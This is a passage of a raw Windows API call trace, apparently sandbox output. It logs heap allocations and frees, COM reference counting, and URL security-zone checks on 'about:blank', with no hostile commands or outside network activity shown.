(This=0x4cbaa4) returned 0x2 [0034.145] IUnknown:AddRef (This=0x4cbaa4) returned 0x3 [0034.145] IUnknown:Release (This=0x4cbaa4) returned 0x2 [0034.145] IUri:IsEqual (in: This=0x4cbe1c, pUri=0x4cbaa4, pfEqual=0x3cfbf4 | out: pfEqual=0x3cfbf4*=0) returned 0x0 [0034.145] IUnknown:Release (This=0x4cbe1c) returned 0x2 [0034.145] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.145] IUnknown:AddRef (This=0x4cbaa4) returned 0x3 [0034.145] IUri:GetAbsoluteUri (in: This=0x4cbaa4, pbstrAbsoluteUri=0x4d4ca8 | out: pbstrAbsoluteUri=0x4d4ca8*="about:blank") returned 0x0 [0034.145] IUnknown:Release (This=0x4cbaa4) returned 0x2 [0034.145] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.145] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.145] GetCurrentProcessId () returned 0x35c [0034.146] IUnknown:Release (This=0x4cc68c) returned 0xa [0034.146] IUnknown:Release (This=0x4cc68c) returned 0x9 [0034.146] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.146] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.146] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e2a58 | out: hHeap=0x4a0000) returned 1 [0034.146] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.146] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e1388 | out: hHeap=0x4a0000) returned 1 [0034.146] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bd830 | out: hHeap=0x4a0000) returned 1 [0034.146] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.146] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4cd328 | out: hHeap=0x4a0000) returned 1 [0034.147] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4cf510 | out: hHeap=0x4a0000) returned 1 [0034.147] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.147] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.147] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.147] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4cf4e0 | out: hHeap=0x4a0000) returned 1 [0034.147] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.147] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.147] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e13f8 | out: hHeap=0x4a0000) returned 1 [0034.147] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4de740 | out: hHeap=0x4a0000) returned 1 [0034.147] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.147] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.147] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.147] IUnknown:Release (This=0x4cc68c) returned 0x8 [0034.147] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.147] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.147] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.147] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.147] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.147] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.147] IUnknown:Release (This=0x4cc68c) returned 0x7 [0034.147] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.147] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.147] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4de798 | out: hHeap=0x4a0000) returned 1 [0034.147] IUnknown:Release (This=0x4cc68c) returned 0x6 [0034.147] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.147] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.147] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.147] IUnknown:Release (This=0x4cc68c) returned 0x5 [0034.147] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e1508 | out: hHeap=0x4a0000) returned 1 [0034.148] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e1250 | out: hHeap=0x4a0000) returned 1 [0034.148] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.148] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e11e8 | out: hHeap=0x4a0000) returned 1 [0034.148] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.148] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.148] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.148] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.148] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.148] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4cf5b8 | out: hHeap=0x4a0000) returned 1 [0034.148] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.148] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9400 | out: hHeap=0x4a0000) returned 1 [0034.148] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4cf5d0 | out: hHeap=0x4a0000) returned 1 [0034.148] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.148] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.148] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.148] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.148] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.148] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.148] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.148] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.148] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.149] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.149] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.149] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.149] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.149] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.149] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.149] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.149] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.149] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.149] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.149] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.149] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.149] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.149] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.149] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.149] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.149] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.149] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.149] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.149] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.149] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.149] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.149] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.149] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.149] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4cf5e8 | out: hHeap=0x4a0000) returned 1 [0034.149] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.149] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.149] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.149] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dbc20 | out: hHeap=0x4a0000) returned 1 [0034.149] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d4b18 | out: hHeap=0x4a0000) returned 1 [0034.149] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4cb940 | out: hHeap=0x4a0000) returned 1 [0034.149] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.149] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dbbc8 | out: hHeap=0x4a0000) returned 1 [0034.149] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.149] IUnknown:Release (This=0x4cc68c) returned 0x4 [0034.149] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bd788 | out: hHeap=0x4a0000) returned 1 [0034.150] IUnknown:Release (This=0x4cc68c) returned 0x3 [0034.150] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e0e70 | out: hHeap=0x4a0000) returned 1 [0034.150] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4170 | out: hHeap=0x4a0000) returned 1 [0034.150] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.150] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.150] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.150] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.150] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e0fa8 | out: hHeap=0x4a0000) returned 1 [0034.150] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.150] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.150] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e0e00 | out: hHeap=0x4a0000) returned 1 [0034.150] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.150] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4cf540 | out: hHeap=0x4a0000) returned 1 [0034.150] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4ccef0 | out: hHeap=0x4a0000) returned 1 [0034.150] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e0be0 | out: hHeap=0x4a0000) returned 1 [0034.150] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.150] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e6938 | out: hHeap=0x4a0000) returned 1 [0034.150] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c35c8 | out: hHeap=0x4a0000) returned 1 [0034.151] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4c) returned 0x4de798 [0034.151] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4cf540 [0034.151] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4) returned 0x4cb940 [0034.151] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x50) returned 0x4de740 [0034.151] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4de740 | out: hHeap=0x4a0000) returned 1 [0034.151] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.151] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x4d291c, dwReserved=0x0 | out: ppSM=0x4d291c*=0x4ece50) returned 0x0 [0034.152] IInternetSecurityManager:SetSecuritySite (This=0x4ece50, pSite=0x4d2924) returned 0x0 [0034.152] IUnknown:AddRef (This=0x4d2924) returned 0x31 [0034.152] IUnknown:QueryInterface (in: This=0x4d2924, riid=0x750661d0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x3cf88c | out: ppvObject=0x3cf88c*=0x4d2928) returned 0x0 [0034.152] IServiceProvider:QueryService (in: This=0x4d2928, guidService=0x7506f13c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), riid=0x7506f13c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0x4ece78 | out: ppvObject=0x4ece78*=0x0) returned 0x80004002 [0034.152] IServiceProvider:QueryService (in: This=0x4d2928, guidService=0x7506f12c*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), riid=0x7506f12c*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), ppvObject=0x4ece74 | out: ppvObject=0x4ece74*=0x0) returned 0x80004002 [0034.152] IServiceProvider:QueryService (in: This=0x4d2928, guidService=0x7505c484*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x7505c484*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x4ece70 | out: ppvObject=0x4ece70*=0x738896bc) returned 0x0 [0034.152] IUnknown:Release (This=0x4d2928) returned 0x0 [0034.152] IUnknown:AddRef (This=0x4cbaa4) returned 0x3 [0034.152] IInternetSecurityManager:MapUrlToZone (in: This=0x738896bc, pwszUrl="about:blank", pdwZone=0x3cf8c4, dwFlags=0x0 | out: pdwZone=0x3cf8c4*=0xffffffff) returned 0x800c0011 [0034.152] IUnknown:AddRef (This=0x73888c70) returned 0x1 [0034.152] IUnknown:QueryInterface (in: This=0x73888c70, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3cf284 | out: ppvObject=0x3cf284*=0x73888c7c) returned 0x0 [0034.153] IUnknown:Release (This=0x73888c70) returned 0x1 [0034.153] IInternetProtocolInfo:ParseUrl (in: This=0x73888c7c, pwzUrl="about:blank", ParseAction=3, dwParseFlags=0x0, pwzResult=0x4c35c8, cchResult=0xc, pcchResult=0x3cf2cc, dwReserved=0x0 | out: pwzResult="about:blank", pcchResult=0x3cf2cc*=0xc) returned 0x0 [0034.153] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x1c) returned 0x4d4cd0 [0034.153] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.153] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d4cd0 | out: hHeap=0x4a0000) returned 1 [0034.153] IUnknown:Release (This=0x73888c7c) returned 0x1 [0034.153] IUnknown:AddRef (This=0x73888c70) returned 0x1 [0034.153] IUnknown:QueryInterface (in: This=0x73888c70, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3cf284 | out: ppvObject=0x3cf284*=0x73888c7c) returned 0x0 [0034.153] IUnknown:Release (This=0x73888c70) returned 0x1 [0034.153] IInternetProtocolInfo:ParseUrl (in: This=0x73888c7c, pwzUrl="about:blank", ParseAction=17, dwParseFlags=0x0, pwzResult=0x4c35c8, cchResult=0xc, pcchResult=0x3cf2dc, dwReserved=0x0 | out: pwzResult="", pcchResult=0x3cf2dc*=0x0) returned 0x800c0011 [0034.153] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.153] IUnknown:Release (This=0x73888c7c) returned 0x1 [0034.153] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0034.153] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0034.153] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0034.153] IInternetSecurityManager:ProcessUrlAction (in: This=0x738896bc, pwszUrl="about:blank", dwAction=0x2106, pPolicy=0x3cf8c8, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0 | out: pPolicy=0x3cf8c8*=0x0) returned 0x0 [0034.153] IUnknown:Release (This=0x4cbaa4) returned 0x3 [0034.153] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.153] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.153] IUnknown:Release (This=0x4b0638) returned 0x1 [0034.153] IUnknown:Release (This=0x4cbaa4) returned 0x2 [0034.154] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d4ca8 | out: hHeap=0x4a0000) returned 1 [0034.154] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e9d50 | out: hHeap=0x4a0000) returned 1 [0034.154] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d9960 | out: hHeap=0x4a0000) returned 1 [0034.154] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e1978 | out: hHeap=0x4a0000) returned 1 [0034.154] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.154] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4cb940 | out: hHeap=0x4a0000) returned 1 [0034.154] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4cf540 | out: hHeap=0x4a0000) returned 1 [0034.154] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.154] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4de798 | out: hHeap=0x4a0000) returned 1 [0034.154] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bd060 | out: hHeap=0x4a0000) returned 1 [0034.155] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x5c) returned 0x4eceb8 [0034.155] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x4c35c8 [0034.155] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.155] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x68) returned 0x52e940 [0034.155] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x68) returned 0x52ea20 [0034.155] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x52ea20 | out: hHeap=0x4a0000) returned 1 [0034.155] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x52e940 | out: hHeap=0x4a0000) returned 1 [0034.155] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c35c8 | out: hHeap=0x4a0000) returned 1 [0034.155] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4eceb8 | out: hHeap=0x4a0000) returned 1 [0034.155] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.155] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.155] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.155] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4ee168 | out: hHeap=0x4a0000) returned 1 [0034.155] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.155] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e3770 | out: hHeap=0x4a0000) returned 1 [0034.156] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e0d90 | out: hHeap=0x4a0000) returned 1 [0034.156] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.156] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4ee120 | out: hHeap=0x4a0000) returned 1 [0034.156] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.156] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e3750 | out: hHeap=0x4a0000) returned 1 [0034.156] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4cee28 | out: hHeap=0x4a0000) returned 1 [0034.156] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.156] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.156] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.156] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.156] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.156] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d3cb0 | out: hHeap=0x4a0000) returned 1 [0034.156] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e0d20 | out: hHeap=0x4a0000) returned 1 [0034.156] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c3468 | out: hHeap=0x4a0000) returned 1 [0034.156] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d3e00 | out: hHeap=0x4a0000) returned 1 [0034.156] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.156] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4128 | out: hHeap=0x4a0000) returned 1 [0034.156] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.156] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c3608 | out: hHeap=0x4a0000) returned 1 [0034.156] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bd750 | out: hHeap=0x4a0000) returned 1 [0034.156] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x501990 | out: hHeap=0x4a0000) returned 1 [0034.156] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.156] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fff38 | out: hHeap=0x4a0000) returned 1 [0034.156] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.156] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fff58 | out: hHeap=0x4a0000) returned 1 [0034.157] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.157] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fff78 | out: hHeap=0x4a0000) returned 1 [0034.157] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.157] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fff98 | out: hHeap=0x4a0000) returned 1 [0034.157] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.157] HeapFree (in: hHeap=0x4a0000, 